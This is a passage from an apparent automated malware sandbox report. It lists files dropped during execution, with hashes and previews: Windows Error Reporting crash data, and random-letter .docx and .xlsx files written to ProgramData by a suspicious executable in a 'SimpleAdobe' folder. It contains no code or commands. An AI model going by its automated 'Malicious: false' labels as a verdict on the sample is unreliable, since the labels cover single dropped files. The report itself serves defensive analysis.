.6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER96B.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	91282
Entropy (8bit):	3.095194659618297
Encrypted:	false
SSDEEP:	768:Ke71PawHyzSo5Aor+li+ewvrr0MZbmNTAsqiQ1NZNWkLJOMe+/9c8:NPrSzS2r4nvf0MVmNXqj1NZUkUMp/9c8
MD5:	FD0845AECD7723500FF191FEFA99BF2F
SHA1:	46F88A22CB944A19DCC89711FD43061CB1F1D7A5
SHA-256:	AD9D2658BA29DCE3951D811555CAC9D0A9CAC7A1368F2BAD8D64DEC9C1ED0632
SHA-512:	F90A1B1ADFD7D13BC83ABED7C155F8589BBC8D95165476E698B169EB4A93EB336B3C41748FDA3AFE509007692940351033C501FC23E76BAE6228D6570C361024
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB02.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.685965062694145
Encrypted:	false
SSDEEP:	96:TiZYWU4r70YVYcCW4SHuUYEZYptHiYIclC6wqGMYDanOcMINYulIWV3:2ZD4C58d+UAanOcMINYu6WV3
MD5:	577D99BCD0942D33F9405AE755D1D0CB
SHA1:	3BD959FC7C5FE6AF7ED4260B2BAA64DBA28B431E
SHA-256:	C29265E4415438F2606784CF171CECD673EAE9EA4F0597F905340A7AA616AAC5
SHA-512:	E32FF24CFAB1FD0EF026836BB6BC9F81924AC2C85280C33AA37314704227397396A7A1DD8728FC84F93B83C379E562C728E20B872E34A005D6799587A5AA31A8
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC7A.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.685445270078539
Encrypted:	false
SSDEEP:	96:TiZYW2D7z+rYVpYmWhTH1UYEZVJtHiSIclU6wMY7L/arOFakM0v2I/V3:2ZDpUBW9narOVM0vx/V3
MD5:	93B6B7FA327AB40377EEC9E2E9185C28
SHA1:	27B1F3C00DCEF03114D26889C37ADB08AF95D268
SHA-256:	941B7287197A9567F2BE0C7CDC9B9DDD54B2370DDD15DEF0C359BA5A0CFF9F21
SHA-512:	66FD1BF8BD44440A21DA1D6348105238B6E49F08D84F15679BE153721A92B0EB4B07D58AD8B42394454C004CE5CF39867CE30A6E07100F50D1F2803E75594B67
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE585.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri May 24 11:42:24 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	59606
Entropy (8bit):	2.141119605169304
Encrypted:	false
SSDEEP:	384:UNs65TQ/Ns6NfUsJpV6wZLScR+RhoL0xdqt7:UyS8/W6NMDUJ4RWt7
MD5:	5AD6D1D09B327E7BDD63A71A965039B6
SHA1:	AF38612B12642D70C95D9FC60EC6C5CD8DD592DC
SHA-256:	9270B1FB789501DFEDDBEF35427DF6566BF87958A778FD26BD47B6DFEA2EF37C
SHA-512:	8A9F40CF291793C79D2847B3639E26E04C8F08E573DC680A0D16ACA8591722F5A82C705A4F0819F97AFC1E902CE812531AFD6C8AC3ECBC0D33E3BAAF911C499B
Malicious:	false
Reputation:	unknown
Preview:	MDMP..a..... ....... }Pf....................................$...&-..........T.......8...........T.......................................................................................................................eJ......p.......GenuineIntel............T............}Pf.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE806.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8544
Entropy (8bit):	3.7098303936716035
Encrypted:	false
SSDEEP:	192:R6l7wVeJ/Ym6IDpp6YPMSUUgmfcdpBy89bF6GIcsfdYlIXm:R6lXJ/J6IVp6YUSUUgmfcJF6GIvfdYH
MD5:	4DD37D4113824727699A3A0A01BFFB68
SHA1:	89CB087ECBF4CB30183D6841C43C2F9AE870F10C
SHA-256:	E41D0FE6226EA210166E3D76101D0D4455808BF2DA4245839CFBA91424F032B2
SHA-512:	E204C63CC069F8C2EDE136B2667B1187CAC9B7F5A2730F864B7799BD37545183F75AEB2D847C2F800E54791DED3D8C190D601FAFEB505902AB9DAC3606D6B323
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.3.2.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE940.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4790
Entropy (8bit):	4.521794535301133
Encrypted:	false
SSDEEP:	48:cvIwWl8zsxJg77aI9OJWpW8VYAYm8M4JA65JFqo+q8v/525z25QD1q1xd:uIjfDI7447VgJA63K/I5zX1q1xd
MD5:	0CF758DF21F56C5F9CDC055B03CBB970
SHA1:	C8D92396363FD6A6F63643659238A5E648BD13DD
SHA-256:	C92C070A9695D95129E79291568EC592DA385F3FB4FEB760F0E02F9F4CCE5B46
SHA-512:	1A87397222FB145B5C24B493361B0D634023834F8BD494F34EF515FF6E63998521A36D88CC7AF8034A96B5E710475517C6B532A709DCFD96992BCE63B5C2ABDC
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="337125" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE97C.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	90450
Entropy (8bit):	3.0989555597428633
Encrypted:	false
SSDEEP:	1536:IsLOe+XSmB8XjhFCb6JXI6wqj1NZB7RoINzT:IsLOe+XSmB8XjhFCb6JXI63j1NZB7RoY
MD5:	A0B294D48D0631C1299679EBF11DFA6B
SHA1:	8706137020C4B53C4358F6D8D2D8AC1F9526F986
SHA-256:	2661AF48843EE16F6B4DEA36A044D4E2689C531E4BEF61A07FEC41DCC1C078DD
SHA-512:	CACEB7928DF5E3A39B718FADE666B22FCCB0F1604D34FBDDC30E46B0A5D09844A9CBB177AEB1D3970CD20C263725AC1ABFE6C5CBC0EE47E47ACA38A089413100
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREEDC.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6855094329143747
Encrypted:	false
SSDEEP:	96:TiZYWTzVt3VkxY60YmrWNCHxfUYEZElztHi4IClLw/dyMaroCJMS53ZIWd3:2ZDqd0nlY/aroCJMS53GWd3
MD5:	20001063C7A6051A64DBA472748DFC13
SHA1:	B8790DA2760106351D210BE03F574EE2B018AF06
SHA-256:	A9063FDD1A599D7D0C9DDEF2D580BF90CD1118BDEE33BE47F264A3C91072196E
SHA-512:	29D1430E076CC726A843231286C0E8274D0600FF843B0A5B77FD86DBB14CA7BBB26EA8CAA7A0D2792888268872321553963FB125B02768505EB0BCE1BD8D3B02
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\NWTVCDUMOB.docx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Reputation:	unknown
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\ProgramData\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Reputation:	unknown
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\ProgramData\ONBQCLYSPU.xlsx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Reputation:	unknown
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\ProgramData\PIVFAGEAAV.xlsx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.685942106278079
Encrypted:	false
SSDEEP:	24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
MD5:	3F6896A097F6B0AE6A2BF3826C813DFC
SHA1:	951214AB37DEA766005DD981B0B3D61F936B035B
SHA-256:	E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
SHA-512:	C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
Malicious:	false
Reputation:	unknown
Preview:	PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUE